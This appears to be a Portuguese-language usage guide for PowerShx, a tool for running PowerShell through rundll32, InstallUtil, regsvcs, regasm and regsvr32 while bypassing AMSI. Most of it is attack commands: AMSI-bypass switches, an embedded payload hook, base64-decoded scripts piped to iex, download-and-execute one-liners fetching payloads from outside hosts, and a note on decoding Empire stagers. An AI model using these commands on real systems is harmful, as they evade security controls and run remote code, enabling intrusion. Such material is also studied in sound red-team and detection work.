
Executar o Powershell sem restrições de software.
Execução não gerenciada do PowerShell usando DLLs ou um executável autônomo.
PowerShx é uma reescrita e expansão do projeto PowerShdll. PowerShx fornece funcionalidades para contornar o AMSI e executar Cmdlets do PS.
rundll32 PowerShx.dll,main -e <Script PS a executar>
rundll32 PowerShx.dll,main -f <caminho> Executar o script passado como argumento
rundll32 PowerShx.dll,main -f <caminho> -c <Cmdlet PS> Carregar um script e executar um cmdlet do PowerShell
rundll32 PowerShx.dll,main -w Iniciar um console interativo em uma nova janela
rundll32 PowerShx.dll,main -i Iniciar um console interativo
rundll32 PowerShx.dll,main -s Tentar contornar o AMSI
rundll32 PowerShx.dll,main -v Imprimir a saída da execução no console
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4.
regsvr32 /s /u PowerShx.dll -->Chama DllUnregisterServer
regsvr32 /s PowerShx.dll --> Chama DllRegisterServer
PowerShx.exe -i Iniciar um console interativo
PowerShx.exe -e <Script PS a executar>
PowerShx.exe -f <caminho> Executar o script passado como argumento
PowerShx.exe -f <caminho> -c <Cmdlet PS> Carregar um script e executar um cmdlet do PowerShell
PowerShx.exe -s Tentar contornar o AMSI.
Payloads podem ser incorporados atualizando o dicionário de dados "Common.Payloads.PayloadDict" no projeto "Common" e chamando-o no método PsSession.cs -> Handle(). Exemplo: no método Handle():
private void Handle(Options options)
{
// Pré-execução antes do script do usuário
_ps.Exe(Payloads.PayloadDict["amsi"]);
}
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Nota: Stagers do Empire precisam ser decodificados usando [System.Text.Encoding]::Unicode
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"
.NET 4
Alguns erros parecem não aparecer na saída. Pode ser confuso, pois comandos como Import-Module não exibem erro em caso de falha. Certifique-se de que seus comandos foram digitados corretamente.
No modo dll, o modo interativo e a saída de comandos dependem de sequestrar o console do processo pai. Se o processo pai não tiver um console, use a opção -n para não mostrar a saída, caso contrário, a aplicação travará.
Devido à forma como o Rundll32 lida com argumentos, usar vários caracteres de espaço entre switches e argumentos pode causar problemas. Múltiplos espaços dentro dos scripts são aceitáveis.